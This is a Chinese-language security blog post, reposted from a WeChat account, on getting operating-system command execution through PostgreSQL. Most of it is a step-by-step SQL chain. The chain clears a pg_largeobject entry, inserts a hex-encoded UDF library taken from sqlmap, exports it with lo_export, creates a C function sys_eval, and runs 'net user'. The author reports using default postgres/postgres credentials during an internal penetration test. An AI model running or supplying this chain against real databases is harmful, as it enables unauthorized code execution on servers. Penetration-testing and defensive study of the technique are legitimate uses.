Postgresql数据库命令执行

admin 2021年8月6日08:17:03评论383 views字数 989阅读3分17秒阅读模式

Postgresql数据库命令执行

0x01  postgres简介
          Postgres(以下或简称 pg)在国内并不常见,而在国外的流行程度却不下 mysql。最近在内网做渗透测试的时候兄弟们发现了很多网站是postgresql的数据库,默认口令为postgres postgres。从web段都没有拿到权限,所以研究了一下pg的命令执行。


0x02  pg命令执行
         Pg的命令执行有点类似于mysql的udf提权都是要上传dll文件,其实整个过程都与udf提取相似。
     1.查询oid,oid为当前对象大数据的标识符,我们要利用这个存储UDF文件内容。
     

Postgresql数据库命令执行

     2.oid与上面保持一致,等于变相清空”页面”,不要干扰库的生成
     delete from pg_largeobject where loid=1596054;
    3.把16进制的so文件塞进去(根据版本可以在sqlmap下找到so文件大概位置在sqlmap-mastersqlmap-masterudfpostgresqlwindows32)
 insert into pg_largeobject (loid,pageno,data) values(1596054, 0, decode(‘7F454CXXXXXXXXX000’, ‘hex’));
    现将dll文件转化为16进制的编码然后在写入进去,转化为16进制的文件太大,不能一次插入进去所以得分几次。写了一个脚本把它分文4次插入,把生成好的四句insert在命令行中执行。


Postgresql数据库命令执行


     4. 导出dll
     SELECT lo_export(1596054, 'monkey.dll');
     5. 创建函数
     CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'monkey.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
     6. 命令执行
     select sys_eval('net user');


Postgresql数据库命令执行


    由于版本是8.2的网上流传的dll都没有反弹shell的函数,9以上的版本都存在反弹shell的函数,以后遇到可以试一试方法基本都差不多,所以只能做到这里。这个命令执行的权限也只是pg的权限,限制还是有点大。

Postgresql数据库命令执行

本文始发于微信公众号(T00ls):Postgresql数据库命令执行

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年8月6日08:17:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Postgresql数据库命令执行http://cn-sec.com/archives/349068.html

发表评论

匿名网友 填写信息